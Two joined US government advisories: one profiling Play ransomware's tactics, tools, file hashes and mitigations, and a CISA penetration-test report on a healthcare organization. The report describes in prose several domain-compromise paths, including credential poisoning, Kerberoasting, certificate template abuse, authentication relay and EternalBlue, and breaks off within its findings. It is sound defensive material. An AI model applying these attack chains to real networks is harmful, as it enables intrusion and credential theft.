#StopRansomware: Play Ransomware

Source: US Department of Homeland Security

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC) are releasing this joint CSA to disseminate the Play ransomware group’s IOCs and TTPs identified through FBI investigations as recently as October 2023.

Since June 2022, the Play (also known as Playcrypt) ransomware group has impacted a wide range of businesses and critical infrastructure in North America, South America, and Europe. As of October 2023, the FBI was aware of approximately 300 affected entities allegedly exploited by the ransomware actors.

In Australia, the first Play ransomware incident was observed in April 2023, and most recently in November 2023.

The Play ransomware group is presumed to be a closed group, designed to “guarantee the secrecy of deals,” according to a statement on the group’s data leak website. Play ransomware actors employ a double-extortion model, encrypting systems after exfiltrating data. Ransom notes do not include an initial ransom demand or payment instructions, rather, victims are instructed to contact the threat actors via email.

The FBI, CISA, and ASD’s ACSC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. This includes requiring multifactor authentication, maintaining offline backups of data, implementing a recovery plan, and keeping all operating systems, software, and firmware up to date.

Download a PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK for Enterprise section for all referenced tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Initial Access

The Play ransomware group gains initial access to victim networks through the abuse of valid accounts [T1078] and exploitation of public-facing applications [T1190], specifically through known FortiOS (CVE-2018-13379 and CVE-2020-12812) and Microsoft Exchange (ProxyNotShell [CVE-2022-41040 and CVE-2022-41082]) vulnerabilities. Play ransomware actors have been observed to use external-facing services [T1133] such as Remote Desktop Protocol (RDP) and Virtual Private Networks (VPN) for initial access.

Discovery and Defense Evasion

Play ransomware actors use tools like AdFind to run Active Directory queries [TA0007] and Grixba [1], an information-stealer, to enumerate network information [T1016] and scan for anti-virus software [T1518.001]. Actors also use tools like GMER, IOBit, and PowerTool to disable anti-virus software [T1562.001] and remove log files [T1070.001]. In some instances, cybersecurity researchers have observed Play ransomware actors using PowerShell scripts to target Microsoft Defender.[2]

Lateral Movement and Execution

Play ransomware actors use command and control (C2) applications, including Cobalt Strike and SystemBC, and tools like PsExec, to assist with lateral movement and file execution. Once established on a network, the ransomware actors search for unsecured credentials [T1552] and use the Mimikatz credential dumper to gain domain administrator access [T1003]. According to open source reporting [2], to further enumerate vulnerabilities, Play ransomware actors use Windows Privilege Escalation Awesome Scripts (WinPEAS) [T1059] to search for additional privilege escalation paths. Actors then distribute executables [T1570] via Group Policy Objects [T1484.001].

Exfiltration and Encryption

Play ransomware actors often split compromised data into segments and use tools like WinRAR to compress files [T1560.001] into .RAR format for exfiltration. The actors then use WinSCP to transfer data [T1048] from a compromised network to actor-controlled accounts. Following exfiltration, files are encrypted [T1486] with AES-RSA hybrid encryption using intermittent encryption, encrypting every other file portion of 0x100000 bytes. [3] (Note: System files are skipped during the encryption process.) A .play extension is added to file names and a ransom note titled ReadMe[.]txt is placed in file directory C:.

Impact

The Play ransomware group uses a double-extortion model [T1657], encrypting systems after exfiltrating data. The ransom note directs victims to contact the Play ransomware group at an email address ending in @gmx[.]de. Ransom payments are paid in cryptocurrency to wallet addresses provided by Play actors. If a victim refuses to pay the ransom demand, the ransomware actors threaten to publish exfiltrated data to their leak site on the Tor network ([.]onion URL).

Leveraged Tools

Table 1 lists legitimate tools Play ransomware actors have repurposed for their operations. The legitimate tools listed in this product are all publicly available. Use of these tools and applications should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

Table 1: Tools Leveraged by Play Ransomware Actors
Name Description

AdFind

Used to query and retrieve information from Active Directory.

Bloodhound

Used to query and retrieve information from Active Directory.

GMER

A software tool intended to be used for detecting and removing rootkits.

IOBit

An anti-malware and anti-virus program for the Microsoft Windows operating system. Play actors have accessed IOBit to disable anti-virus software.

PsExec

A tool designed to run programs and execute commands on remote systems.

PowerTool

A Windows utility designed to improve speed, remove bloatware, protect privacy, and eliminate data collection, among other things.

PowerShell

A cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework, which runs on Windows, Linux, and macOS.

Cobalt Strike

A penetration testing tool used by security professionals to test the security of networks and systems. Play ransomware actors have used it to assist with lateral movement and file execution.

Mimikatz

Allows users to view and save authentication credentials such as Kerberos tickets. Play ransomware actors have used it to add accounts to domain controllers.

WinPEAS

Used to search for additional privilege escalation paths.

WinRAR

Used to split compromised data into segments and to compress files into .RAR format for exfiltration.

WinSCP

Windows Secure Copy is a free and open-source Secure Shell (SSH) File Transfer Protocol, File Transfer Protocol, WebDAV, Amazon S3, and secure copy protocol client. Play ransomware actors have used it to transfer data [T1048] from a compromised network to actor-controlled accounts.

Microsoft Nltest

Used by Play ransomware actors for network discovery.

Nekto / PriviCMD

Used by Play ransomware actors for privilege escalation.

Process Hacker

Used to enumerate running processes on a system.

Plink

Used to establish persistent SSH tunnels.

Indicators of Compromise

See Table 2 for Play ransomware IOCs obtained from FBI investigations as of October 2023.

Table 2: Hashes Associated with Play Ransomware Actors
Hashes (SHA256) Description

453257c3494addafb39cb6815862403e827947a1e7737eb8168cd10522465deb

Play ransomware custom data gathering tool

47c7cee3d76106279c4c28ad1de3c833c1ba0a2ec56b0150586c7e8480ccae57

Play ransomware encryptor

75404543de25513b376f097ceb383e8efb9c9b95da8945fd4aa37c7b2f226212

SystemBC malware EXE

7a42f96599df8090cf89d6e3ce4316d24c6c00e499c8557a2e09d61c00c11986

SystemBC malware DLL

7a6df63d883bbccb315986c2cfb76570335abf84fafbefce047d126b32234af8

Play ransomware binary

7dea671be77a2ca5772b86cf8831b02bff0567bce6a3ae023825aa40354f8aca

SystemBC malware DLL

c59f3c8d61d940b56436c14bc148c1fe98862921b8f7bad97fbc96b31d71193c

Play network scanner

e652051fe47d784f6f85dc00adca1c15a8c7a40f1e5772e6a95281d8bf3d5c74

Play ransomware binary

e8d5ad0bf292c42a9185bb1251c7e763d16614c180071b01da742972999b95da

Play ransomware binary

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 3–Table 11 for all referenced threat actor tactics and techniques in this advisory.

Table 3: Play ATT&CK Techniques for Enterprise for Initial Access
Technique Title ID Use

Valid Accounts

T1078

Play ransomware actors obtain and abuse existing account credentials to gain initial access.

Exploit Public Facing Application

T1190

Play ransomware actors exploit vulnerabilities in internet-facing systems to gain access to networks.

External Remote Services

T1133

Play ransomware actors have used remote access services, such as RDP/VPN connection to gain initial access.

Table 4: Play ATT&CK Techniques for Enterprise for Discovery
Technique Title ID Use

System Network Configuration Discovery

T1016

Play ransomware actors use tools like Grixba to identify network configurations and settings.

Software Discovery: Security Software Discovery

T1518.001

Play ransomware actors scan for anti-virus software.

Table 5: Play ATT&CK Techniques for Enterprise for Defense Evasion
Technique Title ID Use

Impair Defenses: Disable or Modify Tools

T1562.001

Play ransomware actors use tools like GMER, IOBit, and PowerTool to disable anti-virus software.

Indicator Removal: Clear Windows Event Logs

T1070.001

Play ransomware actors delete logs or other indicators of compromise to hide intrusion activity.

Table 6: Play ATT&CK Techniques for Enterprise for Credential Access
Technique Title ID Use

Unsecured Credentials

T1552

Play ransomware actors attempt to identify and exploit credentials stored unsecurely on a compromised network.

OS Credential Dumping

T1003

Play ransomware actors use tools like Mimikatz to dump credentials.

Table 7: Play ATT&CK Techniques for Enterprise for Lateral Movement
Technique Title ID Use

Lateral Tool Transfer

T1570

Play ransomware actors distribute executables within the compromised environment.

Table 8: Play ATT&CK Techniques for Enterprise for Command and Control
Technique Title ID Use

Domain Policy Modification: Group Policy Modification

T1484.001

Play ransomware actors distribute executables via Group Policy Objects.

Table 9: Play ATT&CK Techniques for Enterprise for Collection
Technique Title ID Use

Archive Collected Data: Archive via Utility

T1560.001

Play ransomware actors use tools like WinRAR to compress files.

Table 10: Play ATT&CK Techniques for Enterprise for Exfiltration
Technique Title ID Use

Exfiltration Over Alternative Protocol

T1048

Play ransomware actors use file transfer tools like WinSCP to transfer data.

Table 11: Play ATT&CK Techniques for Enterprise for Impact
Technique Title ID Use

Data Encrypted for Impact

T1486

Play ransomware actors encrypt data on target systems to interrupt availability to system and network resources.

Financial Theft

T1657

Play ransomware actors use a double-extortion model for financial gain.

MITIGATIONS

These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and ASD’s ACSC recommend that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices to limit the impact of ransomware techniques (such as threat actors leveraging backdoor vulnerabilities into remote software systems), thus, strengthening the security posture for their customers.
For more information on secure by design, see CISA’s Secure by Design and Default webpage and joint guide.

The FBI, CISA, and ASD’s ACSC recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Play ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 2.F, 2.R, 2.S] in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
  • Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies [CPG 2.C].
    • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 2.B];
    • Store passwords in hashed format using industry-recognized password managers;
    • Add password user “salts” to shared login credentials;
    • Avoid reusing passwords;
    • Implement multiple failed login attempt account lockouts [CPG 2.G];
    • Disable password “hints”;
    • Refrain from requiring password changes more frequently than once per year.
      Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
    • Require administrator credentials to install software.
  • Require multifactor authentication [CPG 2.H] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Also see Protect Yourself: Multi-Factor Authentication | Cyber.gov.au.
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E]. Organizations are advised to deploy the latest Microsoft Exchange security updates. If unable to patch, then disable Outlook Web Access (OWA) until updates are able to be undertaken. Also see Patching Applications and Operating Systems | Cyber.gov.au.
  • Segment networks [CPG 2.F] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Also see Implementing Network Segmentation and Segregation.
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [CPG 1.E]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
  • Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents actors from directly connecting to remote access services they have established for persistence. Also see Inbound Traffic Filtering – Technique D3-ITF.
  • Install, regularly update, and enable real time detection for antivirus software on all hosts.
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
  • Disable unused ports [CPG 2.V].
  • Consider adding an email banner to emails [CPG 2.M] received from outside your organization.
  • Disable hyperlinks in received emails.
  • Implement time-based access for accounts set at the admin level and higher. For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
  • Disable command-line and scripting activities and permissions. Privileged escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E].
  • Maintain offline backups of data and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, an organization ensures they will not be severely interrupted, and/or only have irretrievable data.
  • Ensure backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and ASD’s ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and ASD’s ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Tables 3-11).
  2. Align your security technologies against this technique.
  3. Test your technologies against this technique.
  4. Analyze your detection and prevention technologies performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and ASD’s ACSC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Play ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

The FBI, CISA, and ASD’s ACSC do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, the FBI’s Internet Crime Complaint Center (IC3), or CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).

Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.

REFERENCES

[1] Symantec: Play Ransomware Group Using New Custom Data-Gathering Tools
[2] TrendMicro: Play Ransomware Spotlight
[3] SentinelLabs: Ransomware Developers Turn to Intermittent Encryption to Evade Detection

Enhancing Cyber Resilience: Insights from the CISA Healthcare and Public Health Sector Risk and Vulnerability Assessment

Source: US Department of Homeland Security

SUMMARY

In January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) conducted a Risk and Vulnerability Assessment (RVA) at the request of a Healthcare and Public Health (HPH) sector organization to identify vulnerabilities and areas for improvement. An RVA is a two-week penetration test of an entire organization, with one week spent on external testing and one week spent assessing the internal network. As part of the RVA, the CISA assessment team conducted web application, phishing, penetration, database, and wireless assessments. The assessed organization was a large organization deploying on-premises software.

During the one-week external assessment, the assessment team did not identify any significant or exploitable conditions in externally available systems that may allow a malicious actor to easily obtain initial access to the organization’s network. Furthermore, the assessment team was unable to gain initial access to the assessed organization through phishing. However, during internal penetration testing, the team exploited misconfigurations, weak passwords, and other issues through multiple attack paths to compromise the organization’s domain.

In coordination with the assessed organization, CISA is releasing this Cybersecurity Advisory (CSA) detailing the RVA team’s activities and key findings to provide network defenders and software manufacturers recommendations for improving their organizations’ and customers’ cyber posture, which reduces the impact of follow-on activity after initial access. CISA encourages the HPH sector and other critical infrastructure organizations deploying on-premises software, as well as software manufacturers, to apply the recommendations in the Mitigations section of this CSA to harden networks against malicious activity and to reduce the likelihood of domain compromise.

Download the PDF version of this report:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for tables of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Introduction

CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to federal and non-federal entities with respect to cybersecurity risks. See generally 6 U.S.C. §§ 652(c)(5), 659(c)(6). After receiving a request for an RVA from the organization and coordinating high-level details of the engagement with certain personnel at the organization, CISA conducted the RVA in January 2023.

During RVAs, CISA tests the security posture of an organization’s network over a two-week period to determine the risk, vulnerability, and exploitability of systems and networks. During the first week (the external phase), the team tests public facing systems to identify exploitable vulnerabilities. During the second week (the internal phase), the team determines the susceptibility of the environment to an actor with internal access (e.g., malicious cyber actor or insider threat). The assessment team offers five services:

  • Web Application Assessment: The assessment team uses commercial and open source tools to identify vulnerabilities in public-facing and internal web applications, demonstrating how they could be exploited.
  • Phishing Assessment: The assessment team tests the susceptibility of staff and infrastructure to phishing attacks and determines what impact a phished user workstation could have on the internal network. The RVA team crafts compelling email pretexts and generates payloads, similar to ones used by threat actors, in order to provide a realistic threat perspective to the organization.
  • Penetration Testing: The assessment team tests the security of an environment by simulating scenarios an advanced cyber actor may attempt. The team’s goals are to establish a foothold, escalate privileges, and compromise the domain. The RVA team leverages both open source and commercial tools for host discovery, port and service mapping, vulnerability discovery and analysis, and vulnerability exploitation.
  • Database Assessment: The assessment team uses commercial database tools to review databases for misconfigurations and missing patches.
  • Wireless Assessment: The assessment team uses specialized wireless hardware to assess wireless access points, connected endpoints, and user awareness for vulnerabilities.

The assessed organization was in the HPH sector. See Table 1 for services in-scope for this RVA.

Table 1: In-Scope RVA Services
Phase Scope Services

External Assessment

Publicly available HPH-organization endpoints discovered during scanning

Penetration Testing

Phishing Assessment

Web Application Assessment

Internal Assessment

Internally available HPH-organization endpoints discovered during scanning

Database Assessment

Penetration Testing

Web Application Assessment

Wireless Assessment

Phase I: External Assessment

Penetration and Web Application Testing

The CISA team did not identify any significant or exploitable conditions from penetration or web application testing that may allow a malicious actor to easily obtain initial access to the organization’s network.

Phishing Assessment

The CISA team conducted phishing assessments that included both user and systems testing.

The team’s phishing assessment was unsuccessful because the organization’s defensive tools blocked the execution of the team’s payloads. The payload testing resulted in most of the team’s payloads being blocked by host-based protections through a combination of browser, policy, and antivirus software. Some of the payloads were successfully downloaded to disk without being immediately removed, but upon execution, the antivirus software detected the malicious code and blocked it from running. Some payloads appeared to successfully evade host-based protections but did not create a connection to the command and control (C2) infrastructure, indicating they may have been incompatible with the system or blocked by border protections.

Since none of the payloads successfully connected to the assessment team’s C2 server, the team conducted a credential harvesting phishing campaign. Users were prompted to follow a malicious link within a phishing email under the pretext of verifying tax information and were then taken to a fake login form.

While twelve unique users from the organization submitted credentials through the malicious form, the CISA team was unable to leverage the credentials because they had limited access to external-facing resources. Additionally, the organization had multi-factor authentication (MFA) implemented for cloud accounts. Note: At the time of the assessment, the CISA team’s operating procedures did not include certain machine-in-the-middle attacks that could have circumvented the form of MFA in place. However, it is important to note that tools like Evilginx[1] can be leveraged to bypass non-phishing resistant forms of MFA. Furthermore, if a user executes a malicious file, opening a connection to a malicious actor’s command and control server, MFA will not prevent the actor from executing commands and carrying out actions under the context of that user.

Phase II: Internal Assessment

Database, Web Application, and Wireless Testing

The CISA assessment team did not identify any significant or exploitable conditions from database or wireless testing that may allow a malicious actor to easily compromise the confidentiality, integrity, and availability of the tested environment.

The team did identify default credentials [T1078.001] for multiple web interfaces during web application testing and used default printer credentials while penetration testing. (See the Attack Path 2 section for more information.)

Penetration Testing

The assessment team starts internal penetration testing with a connection to the organization’s network but without a valid domain account. The team’s goal is to compromise the domain by gaining domain admin or enterprise administrator-level permissions. Generally, the team first attempts to gain domain user access and then escalate privileges until the domain is compromised. This process is called the “attack path”—acquiring initial access to an organization and escalating privileges until the domain is compromised and/or vital assets for the organization are accessed. The attack path requires specialized expertise and is realistic to what adversaries may do in an environment.

For this assessment, the team compromised the organization’s domain through four unique attack paths, and in a fifth attack path the team obtained access to sensitive information.

See the sections below for a description of the team’s attack paths mapped to the MITRE ATT&CK for Enterprise framework. See the Findings section for information on issues that enabled the team to compromise the domain.

Attack Path 1

The assessment team initiated LLMNR/NBT-NS/mDNS/DHCP poisoning [T1557.001] with Responder[2], which works in two steps:

  1. Responder listens to multicast name resolution queries (e.g., LLMNR UDP/5355, NBTNS UDP/137) [T1040] and under the right conditions spoofs a response to direct the victim host to a CISA-controlled machine on which Responder is running.
  2. Once a victim connects to the machine, Responder exploits the connection to perform malicious functions such as stealing credentials or opening a session on a targeted host [T1021].

With this tool, the CISA team captured fifty-five New Technology Local Area Network Manager version 2 (NTLMv2) hashes, including the NTLMv2 hash for a service account. Note: NTLMv2 and other variations of the hash protocol are used for clients to join a domain, authenticate between Active Directory forests, authenticate between earlier versions of Windows operating systems (OSs), and authenticate computers that are not normally a part of the domain.[3] Cracking these passwords may enable malicious actors to establish a foothold in the domain and move laterally or elevate their privileges if the hash belongs to a privileged account.

The service account had a weak password, allowing the team to quickly crack it [T1110.002] and obtain access to the organization’s domain. With domain access, the CISA assessment team enumerated accounts with a Service Principal Name (SPN) set [T1087.002]. SPN is the unique service identifier used by Kerberos authentication[4], and accounts with SPN are susceptible to Kerberoasting.

The CISA team used Impacket’s[5] GetUserSPNs tool to request Ticket-Granting Service (TGS) tickets for all accounts with SPN set and obtained their Kerberos hashes [T1558.003]. Three of these accounts had domain administrator privileges—offline, the team cracked ACCOUNT 1 (which had a weak password).

Using CrackMapExec[6], the assessment team used ACCOUNT 1 [T1078.002] to successfully connect to a domain controller (DC). The team confirmed they compromised the domain because ACCOUNT 1 had READ,WRITE permissions over the C$ administrative share [T1021.002] (see Figure 1).

Figure 1: ACCOUNT 1 Domain Admin Privileges

To further demonstrate the impact of compromising ACCOUNT 1, the assessment team used it to access a virtual machine interface. If a malicious actor compromised ACCOUNT 1, they could use it to modify, power off [T1529], and/or delete critical virtual machines, including domain controllers and file servers.

Attack Path 2

The team first mapped the network to identify open web ports [T1595.001], and then attempted to access various web interfaces [T1133] with default administrator credentials. The CISA team was able to log into a printer interface with a default password and found the device was configured with domain credentials to allow employees to save scanned documents to a network share [T1080].

While logged into the printer interface as an administrator, the team 1) modified the “Save as file” configuration to use File Transfer Protocol (FTP) instead of Server Message Block (SMB) and 2) changed the Server Name and Network Path to point to a CISA-controlled machine running Responder [T1557]. Then, the team executed a “Connection Test” that sent the username and password over FTP [T1187] to the CISA machine running Responder, which captured cleartext credentials for a non-privileged domain account (ACCOUNT 2).

Using ACCOUNT 2 and Certipy[7], the team enumerated potential certificate template vulnerabilities found in Active Directory Certificate Services (ADCS). Note: ADCS templates are used to build certificates for different types of servers and other entities on an organization’s network. Malicious actors can exploit template misconfigurations [T1649] to manipulate the certificate infrastructure into issuing fraudulent certificates and/or escalate user privileges to a domain administrator.

The WebServer template was misconfigured to allow all authenticated users permission to:

  • Change the properties of the template (via Object Control Permissions with Write Property Principals set to Authenticated Users).
  • Enroll for the certificate (via Enrollment Permissions including the Authenticated Users group).
  • Request a certificate for a different user (via EnrolleeSuppliesSubject set as True).

See Figure 2 for the displayed certificate template misconfigurations.

The template’s Client Authentication was set to False, preventing the CISA assessment team from requesting a certificate that could be used to authenticate to a server in the domain. To demonstrate how this misconfiguration could lead to privilege escalation, the assessment team, leveraging its status as a mere authenticated user, briefly changed the WebServer template properties to set Client Authentication to True so that a certificate could be obtained for server authentication, ensuring the property was set back to its original setting of False immediately thereafter.

The team used Certipy with the ACCOUNT 2 credentials to request a certificate for a Domain Administrator account (ACCOUNT 3). The team then authenticated to the domain controller as ACCOUNT 3 with the generated certificate [T1550] and retrieved the NTLM hash for ACCOUNT 3 [T1003]. The team used the hash to authenticate to the domain controller [T1550.002] and validated Domain Administrator privileges, demonstrating compromise of the domain via the WebServer template misconfiguration.

Attack Path 3

The CISA team used a tool called CrackMapExec to spray easily guessable passwords [T1110.003] across all domain accounts and obtained two sets of valid credentials for standard domain user accounts.

The assessment team leveraged one of the domain user accounts (ACCOUNT 4) to enumerate ADCS via Certipy and found that web enrollment was enabled (see Figure 3). If web enrollment is enabled, malicious actors can abuse certain services and/or misconfigurations in the environment to coerce a server to authenticate to an actor-controlled computer, which can relay the authentication to the ADCS web enrollment service and obtain a certificate for the server’s account (known as a relay attack).

Figure 3: Misconfigured ADCS Enumerated via Certipy

The team used PetitPotam [8] with ACCOUNT 4 credentials to force the organization’s domain controller to authenticate to the CISA-operated machine and then used Certipy to relay the coerced authentication attempt to the ADCS web enrollment service to receive a valid certificate for ACCOUNT 5, the domain controller machine account. They used this certificate to acquire a TGT [T1558] for ACCOUNT 5.

With the TGT for ACCOUNT 5, the CISA team used DCSync to dump the NTLM hash [T1003.006] for ACCOUNT 3 (a Domain Administrator account [see Attack Path 2 section]), effectively leading to domain compromise.

Attack Path 4

The CISA team identified several systems on the organization’s network that do not enforce SMB signing. The team exploited this misconfiguration to obtain cleartext credentials for two domain administrator accounts.

First, the team used Responder to capture the NTLMv2 hash for a domain administrator account. Next, they used Impacket’s NTLMrelayx tool[9] to relay the authentication for the domain administrator, opening a SOCKS connection on a host that did not enforce SMB signing. The team then used DonPAPI[10] to dump cleartext credentials through the SOCKS connection and obtained credentials for two additional domain administrator accounts.

The CISA team validated the privileges of these accounts by checking for READ,WRITE access on a domain controller C$ share [T1039], demonstrating Domain Administrator access and therefore domain compromise.

Attack Path 5

The team did vulnerability scanning [T1046] and identified a server vulnerable to CVE-2017-0144 (an Improper Input Validation [CWE-20] vulnerability known as “EternalBlue” that affects SMB version 1 [SMBv1] and enables remote code execution [see Figure 4]).

Figure 4: Checking for EternalBlue Vulnerability

The CISA assessment team then executed a well-known EternalBlue exploit [T1210] and established a shell on the server. This shell allowed them to execute commands [T1059.003] under the context of the local SYSTEM account.

With this local SYSTEM account, CISA dumped password hashes from a Security Account Manager (SAM) database [T1003.002]. The team parsed the hashes and identified one for a local administrator account. Upon parsing the contents of the SAM database dump, the CISA team identified an NTLM hash for the local administrator account, which can be used to authenticate to various services.

The team sprayed the acquired NTLM hash across a network segment and identified multiple instances of password reuse allowing the team to access various resources including sensitive information with the hash.

Findings

Key Issues

The CISA assessments team identified several findings as potentially exploitable vulnerabilities that could compromise the confidentiality, integrity, and availability of the tested environment. Each finding, listed below, includes a description with supporting details. See the Mitigations section for recommendations on how to mitigate these issues.

The CISA team rated their findings on a severity scale from critical to informational (see Table 2).

Table 2: Severity Rating Criteria
Severity Description

Critical

Critical vulnerabilities pose an immediate and severe risk to the environment because of the ease of exploitation and potential impact. Critical items are reported to the customer immediately.

High

Malicious actors may be able to exercise full control on the targeted device.

Medium

Malicious actors may be able to exercise some control of the targeted device.

Low

The vulnerabilities discovered are reported as items of interest but are not normally exploitable. Many low items reported by security tools are not included in this report because they are often informational, unverified, or of minor risk.

Informational

These vulnerabilities are potential weaknesses within the system that cannot be readily exploited. These findings represent areas that the customer should be cognizant of, but do not require any immediate action.

The CISA assessment team identified four High severity vulnerabilities and one Medium severity vulnerability during penetration testing that contributed to the team’s ability to compromise the domain. See Table 3 for a list and description of these findings.

Table 3: Key Issues Contributing to Domain Compromise
Issue Severity Service Description

Poor Credential Hygiene: Easily Crackable Passwords

High

Penetration Testing

As part of their assessment, the team reviewed the organization’s domain password policy and found it was weak because the minimum password length was set to 8 characters. Passwords less than 15 characters without randomness are easily crackable, and malicious actors with minimal technical knowledge can use these credentials to access the related services.

The assessment team was able to easily crack many passwords throughout the assessment to move laterally and increase access within the domain. Specifically, the team:

  • Cracked the NTLMv2 hash for a domain account, and subsequently accessed the domain. (See the Attack Path 1 section.)

Cracked the password hash (obtained via Kerberoasting) of a domain administrator account and subsequently compromised the domain. (See the Attack Path 1 section.)

Poor Credential Hygiene: Guessable Credentials

High

Penetration Testing

As part of the penetration test, the assessment team tested to see if one or more services is accessible using a list of enumerated usernames alongside an easily guessed password. The objective is to see if a malicious actor with minimal technical knowledge can use these credentials to access the related services, enabling them to move laterally or escalate privileges. Easily guessable passwords are often comprised of common words, seasons, months and/or years, and are sometimes combined with special characters. Additionally, phrases or names that are popular locally (such as the organization being tested or a local sports teams) may also be considered easily guessable.

The team sprayed common passwords against domain user accounts and obtained valid credentials for standard domain users. (See the Attack Path 3 section.) (Cracking was not necessary for this attack.)

Misconfigured ADCS Certificate Templates

High

Penetration Testing

The team identified a WebServer template configured to allow all authenticated users permission to change the properties of the template and obtain certificates for different users. The team exploited the template to acquire a certificate for a Domain Administrator account (see the Attack Path 2 section).

Unnecessary Network Services Enabled

High

Penetration Testing

Malicious actors can exploit security vulnerabilities and misconfigurations in network services, especially legacy services.

The assessment team identified legacy name resolution protocols (e.g., NetBIOS, LLMNR, mDNS) enabled in the network, and abused LLMNR to capture NTLMv2 hashes, which they then cracked and used for domain access. (See the Attack Path 1 section.)

The team also identified an ADCS server with web enrollment enabled and leveraged it to compromise the domain through coercion and relaying. (See Attack Path 3 section.)

Additionally, the team identified hosts with WebClient and Spooler services, which are often abused by malicious actors to coerce authentication.

Elevated Service Account Privileges

High

Penetration Testing

Applications often require user accounts to operate. These user accounts, which are known as service accounts, often require elevated privileges. If an application or service running with a service account is compromised, an actor may have the same privileges and access as the service account.

The CISA team identified a service account with Domain Administrator privileges and used it to access the domain after cracking its password (See the Attack Path 1 section).
